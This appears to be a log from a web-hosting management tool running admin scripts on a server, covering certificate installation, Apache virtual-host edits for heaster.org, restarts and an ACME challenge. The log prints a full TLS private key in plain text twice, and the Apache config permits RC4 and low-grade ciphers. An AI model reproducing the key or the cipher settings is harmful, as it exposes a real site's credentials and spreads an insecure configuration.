MvaCgDwtuVToNXLeX3wA1EB5Nh4DE7GAgxMsmwsIdpPxQXgLi+/tPApwd2qUEHT/
TpK4G68yJ3QG4vsh5bHNK3CcncFWzFgYQP4dYKVjEYccmrz9ah956BRpELM1WtXE
WYlmPecGNBvIjHkpX5RZ5CAQIfKy5FYWiRmdLw2WXCAASyIzdyMJacQW06As2Ibr
PpV3HTrRCuDHp00KBm/aa96w7+wrmT/HqI5Q1nyWfusNGuxszRRvSEyz22WbP7Fz
bXDjGL41BaUDeXo04ZbrxwfdC0bhflyZro3/0RFUhv5WJMAsXdDtMU36bmmENZtt
CUIouG8jAgMBAAECggEBAIPJeNuGI9L+ReJUmsss4JRfHaHBRpu0k/uBLiHdjd6o
UEgr86+cZcOdgRtu032LAa94Z6Q/hyH1YTF7fhj7ZWK11dksNhoCHRZ3FmNrpYxr
DynIPKT5qUkKChYsDj1+gtjcfVGdJJFot4xEECuQ0ovVzUh4uNr4F/59XJBCfB02
eEoSbKKKdYM8IX7Rn0Q42tFAhM71vz2HOinwmq4CO0E431qboBcZsIMGatp863Za
XOHk1MkKWQKfjIZwNGElGIQfO34eZaiPDZBEX7AKGTPioxNpzJpzsSlzI/QcxEP8
RxGezx471UWPCLNF5/frsogbd9sNhiyxZUMHgcq0n8ECgYEA9XfJlJ5RHH/UKJ7N
Ji4XBbHWYrxPxKgNUroRlkMItqXPh2eXqgwFZ4Jk+/pX4IqN/5prb9AiMFFGO+w3
Vg5D2XD61h2IPdNOFdDNvsD2WslO+QbbHfKwxlPPgiVd4BGyeXHPpSsIOsVvtOWP
Dr74dR2gQFU//dca0cVNn8OWSWsCgYEA2xNJjUhxQV8k8F02xIVWW5eC57hXfNvY
x3Lu2sz9+CFxfURMVrDWORqK8iYYfnii7YPSwest30EojQVdQaIxtBMZlpT32sGD
ifTyutj6Dyd/1lAR/rA4Q4x1dXvmiBruj6lwxjtANilAfabJecDBau3wPbJMOXQf
1M9gjRZeRykCgYBdFx6VhCzSmA/Hj+HRNu14NWdObof51pmm4/XDfIyTZ/J6MWkt
Df4GsUbG4Lvu5dzQMKnJ767nkAsIsp6Rvjsw/U3DYdPHTplwYI2GZ/uFlo6ill0G
0IEF1cb+XllpnoyGzginZNhsIXAptF06hGYJVEDv5OStyaPcJe04R555HQKBgQCd
OjNwhYxa6Wj+ZTfYRQXciFm36lJH1xS22CLav4KKYZ4s1CahlRq6MvWDopmzsurj
4dcRu7LZZs8unqn2X+yiG48ixlk4E+hOy5ClTvHwjF2wNxkjG9/VguoN3lVuWz3Z
tzar3nxQIr0ZMOmqSw/FqWzhKqSQG2p49jiKKYKSOQKBgQDCrPMiMvHHhnwFyiIc
C/++VHc7ZMzJn344WcIKXXITlUzh22+nICVHHHRrK9ISPdy5LQDBDW50L6Opn9C6
n7fDow1gFbuyclbPSUsbMYsTeTaQi4Gqw4TMtr9ZtYwAiNN1AdwZncu22rnm3vBT
IT7TBzVYecPR8miXiPP3LhdjOQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-24 06:00:21:
chmod 755 /tmp/pkp874666; /tmp/pkp874666; rm /tmp/pkp874666
2025-10-24 06:00:21:
dir=/etc/ssl/certs
2025-10-24 06:00:21:
PUT: /tmp/pkp925883
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/heaster_www_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-24 06:00:21:
chmod 755 /tmp/pkp925883; /tmp/pkp925883; rm /tmp/pkp925883
2025-10-24 06:00:21:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/heaster_www_org.conf 39
<VirtualHost *:80>
ServerName heaster.org
ServerAlias www.heaster.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/heaster_www
<Directory /var/www/heaster_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/heaster/www_access.log combined
ErrorLog /var/log/apache2/heaster/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName heaster.org
ServerAlias www.heaster.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
DocumentRoot /var/www/heaster_www
<Directory /var/www/heaster_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/heaster/www_secure_access.log combined
ErrorLog /var/log/apache2/heaster/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-24 06:00:21:
PUT: /tmp/pkp253999
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=heaster_www_org.conf
TARGET=/etc/apache2/sites-enabled/heaster_www_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName heaster.org
ServerAlias www.heaster.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/heaster_www
<Directory /var/www/heaster_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/heaster/www_access.log combined
ErrorLog /var/log/apache2/heaster/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName heaster.org
ServerAlias www.heaster.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
DocumentRoot /var/www/heaster_www
<Directory /var/www/heaster_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/heaster/www_secure_access.log combined
ErrorLog /var/log/apache2/heaster/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/heaster_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/heaster_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/heaster_www_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/heaster_www_org.conf= 1'
fi
2025-10-24 06:00:21:
chmod 755 /tmp/pkp253999; /tmp/pkp253999; rm /tmp/pkp253999
2025-10-24 06:00:21:
2025-10-24 06:00:21:
PUT: /tmp/pkp193788
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-24 06:00:21:
chmod 755 /tmp/pkp193788; /tmp/pkp193788; rm /tmp/pkp193788
2025-10-24 06:00:21:
.
2025-10-24 06:00:21: Establishing a connection
2025-10-24 06:00:21:
PUT: /tmp/pkp369821
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-24 06:00:21:
chmod 755 /tmp/pkp369821; /tmp/pkp369821; rm /tmp/pkp369821
2025-10-24 06:00:21:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
alias www.aletheiacollege.net
port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
alias www.christadelphia.net
port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
alias www.gospelstudies.net
port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
alias www.heaster.org
port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
alias www.hristadelfiane.org
port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
alias www.osnovybiblii.info
port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
alias www.realdevil.info
*:443 is a NameVirtualHost
default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
alias www.aletheiacollege.net
port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
alias www.christadelphia.net
port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
alias www.gospelstudies.net
port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
alias www.heaster.org
port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
alias www.hristadelfiane.org
port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
alias www.osnovybiblii.info
port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-10-24 06:00:21:
PUT: /tmp/pkp776131
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/heaster_www_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-24 06:00:21:
chmod 755 /tmp/pkp776131; /tmp/pkp776131; rm /tmp/pkp776131
2025-10-24 06:00:22:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/heaster_www_org.conf 1347
<VirtualHost *:80>
ServerName heaster.org
ServerAlias www.heaster.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/heaster_www
<Directory /var/www/heaster_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/heaster/www_access.log combined
ErrorLog /var/log/apache2/heaster/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName heaster.org
ServerAlias www.heaster.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
DocumentRoot /var/www/heaster_www
<Directory /var/www/heaster_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/heaster/www_secure_access.log combined
ErrorLog /var/log/apache2/heaster/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-24 06:00:22:
PUT: /tmp/pkp686897
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-24 06:00:22:
chmod 755 /tmp/pkp686897; /tmp/pkp686897; rm /tmp/pkp686897
2025-10-24 06:00:22:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt 5365
2e:39:18:ed:3d:28:dd:3e:a0:e3:85:b5:3f:6e:4e:54
-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBaK2vAnSQ0sQ/vfxktNOV4R2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI0MDUwMTQ5WhcNMjYwMTIyMDUwMTQ4WjAWMRQwEgYDVQQD
EwtoZWFzdGVyLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANIP
99y6YtSnN/cy9oKAPC25VOg1ct5ffADUQHk2HgMTsYCDEyybCwh2k/FBeAuL7+08
CnB3apQQdP9OkrgbrzIndAbi+yHlsc0rcJydwVbMWBhA/h1gpWMRhxyavP1qH3no
FGkQszVa1cRZiWY95wY0G8iMeSlflFnkIBAh8rLkVhaJGZ0vDZZcIABLIjN3Iwlp
xBbToCzYhus+lXcdOtEK4MenTQoGb9pr3rDv7CuZP8eojlDWfJZ+6w0a7GzNFG9I
TLPbZZs/sXNtcOMYvjUFpQN5ejThluvHB90LRuF+XJmujf/REVSG/lYkwCxd0O0x
TfpuaYQ1m20JQii4byMCAwEAAaOCAi0wggIpMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUY3dr1byUVgPhP1D3AyhJ2AgJWoYwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAnBgNVHREEIDAeggtoZWFzdGVyLm9yZ4IPd3d3LmhlYXN0
ZXIub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0
dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTE5LmNybDCCAQQGCisGAQQB1nkCBAIEgfUE
gfIA8AB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmhTNwGcA
AAQDAEcwRQIhALfK00TaHH0u8KcuP5pNYuA7DOS1QN/RBvtcOnM5yqnzAiAayPqM
G9mt6x8JPsO6cS970dZkLogJPqDhu3zGxdQqHgB2AA5XlLzzrqk+MxssmQez95Df
m8I9cTIl3SGpJaxhxU4hAAABmhTNwFYAAAQDAEcwRQIhAK9HjnKY1r+CFPdbkqzw
C8wpP1QAv+ODJ3lv2mfiHY6gAiAuss1V/PSuv3Yqp0zfoHRoRbTBottfCGOHXwAy
aFL54DANBgkqhkiG9w0BAQsFAAOCAQEAjkGRdpdyJIGS99oo/THG+8lFDJhq47Ua
k0Q1tyGAfoOkR1w6wXIAMVqYmnalTMDAaBOhPQtl9j8FEkPa494u94Jj7vt685z3
tqCLPhbW37pbz/LvgY9TaHH5y+ef2z7EhzndBfQWcYQT6gVV8TT21N/gMdY3z974
hENme/46Caeeb7wccBgeF/bf0sYkqRlKrRhC0oXnstQVY5vUQbwRsG0fBmHXCY8E
cx/vF918m/FU2LpwKK8VAqO6d1wXVDXuQz4sJ9+Mmvny4S9FBkfZWORSTL/YO5fJ
xaMoMEPHE9IoxfrpOy/LMlcE+RYkaQWehH8H046ptH+el3Ik1prO1g==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDSD/fcumLUpzf3
MvaCgDwtuVToNXLeX3wA1EB5Nh4DE7GAgxMsmwsIdpPxQXgLi+/tPApwd2qUEHT/
TpK4G68yJ3QG4vsh5bHNK3CcncFWzFgYQP4dYKVjEYccmrz9ah956BRpELM1WtXE
WYlmPecGNBvIjHkpX5RZ5CAQIfKy5FYWiRmdLw2WXCAASyIzdyMJacQW06As2Ibr
PpV3HTrRCuDHp00KBm/aa96w7+wrmT/HqI5Q1nyWfusNGuxszRRvSEyz22WbP7Fz
bXDjGL41BaUDeXo04ZbrxwfdC0bhflyZro3/0RFUhv5WJMAsXdDtMU36bmmENZtt
CUIouG8jAgMBAAECggEBAIPJeNuGI9L+ReJUmsss4JRfHaHBRpu0k/uBLiHdjd6o
UEgr86+cZcOdgRtu032LAa94Z6Q/hyH1YTF7fhj7ZWK11dksNhoCHRZ3FmNrpYxr
DynIPKT5qUkKChYsDj1+gtjcfVGdJJFot4xEECuQ0ovVzUh4uNr4F/59XJBCfB02
eEoSbKKKdYM8IX7Rn0Q42tFAhM71vz2HOinwmq4CO0E431qboBcZsIMGatp863Za
XOHk1MkKWQKfjIZwNGElGIQfO34eZaiPDZBEX7AKGTPioxNpzJpzsSlzI/QcxEP8
RxGezx471UWPCLNF5/frsogbd9sNhiyxZUMHgcq0n8ECgYEA9XfJlJ5RHH/UKJ7N
Ji4XBbHWYrxPxKgNUroRlkMItqXPh2eXqgwFZ4Jk+/pX4IqN/5prb9AiMFFGO+w3
Vg5D2XD61h2IPdNOFdDNvsD2WslO+QbbHfKwxlPPgiVd4BGyeXHPpSsIOsVvtOWP
Dr74dR2gQFU//dca0cVNn8OWSWsCgYEA2xNJjUhxQV8k8F02xIVWW5eC57hXfNvY
x3Lu2sz9+CFxfURMVrDWORqK8iYYfnii7YPSwest30EojQVdQaIxtBMZlpT32sGD
ifTyutj6Dyd/1lAR/rA4Q4x1dXvmiBruj6lwxjtANilAfabJecDBau3wPbJMOXQf
1M9gjRZeRykCgYBdFx6VhCzSmA/Hj+HRNu14NWdObof51pmm4/XDfIyTZ/J6MWkt
Df4GsUbG4Lvu5dzQMKnJ767nkAsIsp6Rvjsw/U3DYdPHTplwYI2GZ/uFlo6ill0G
0IEF1cb+XllpnoyGzginZNhsIXAptF06hGYJVEDv5OStyaPcJe04R555HQKBgQCd
OjNwhYxa6Wj+ZTfYRQXciFm36lJH1xS22CLav4KKYZ4s1CahlRq6MvWDopmzsurj
4dcRu7LZZs8unqn2X+yiG48ixlk4E+hOy5ClTvHwjF2wNxkjG9/VguoN3lVuWz3Z
tzar3nxQIr0ZMOmqSw/FqWzhKqSQG2p49jiKKYKSOQKBgQDCrPMiMvHHhnwFyiIc
C/++VHc7ZMzJn344WcIKXXITlUzh22+nICVHHHRrK9ISPdy5LQDBDW50L6Opn9C6
n7fDow1gFbuyclbPSUsbMYsTeTaQi4Gqw4TMtr9ZtYwAiNN1AdwZncu22rnm3vBT
IT7TBzVYecPR8miXiPP3LhdjOQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-24 06:00:22: Establishing a connection
2025-10-24 06:00:22: Establishing a connection
2025-10-24 06:00:22:
PUT: /tmp/pkp752069
#!/bin/bash
if [ -d "/var/www/baptizo_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-24 06:00:23:
chmod 755 /tmp/pkp752069; /tmp/pkp752069; rm /tmp/pkp752069
2025-10-24 06:00:23:
1
2025-10-24 06:00:23: Establishing a connection
2025-10-24 06:00:23:
PUT: /tmp/pkp497183
#!/bin/bash
mkdir -p "/var/www/baptizo_www/.well-known/acme-challenge/"
cd "/var/www/baptizo_www/.well-known/acme-challenge/"
cat > fOId3xGQi9mecLSpNYfS-eNnoLDXkXc6y3bq5LBt2Lc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
fOId3xGQi9mecLSpNYfS-eNnoLDXkXc6y3bq5LBt2Lc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
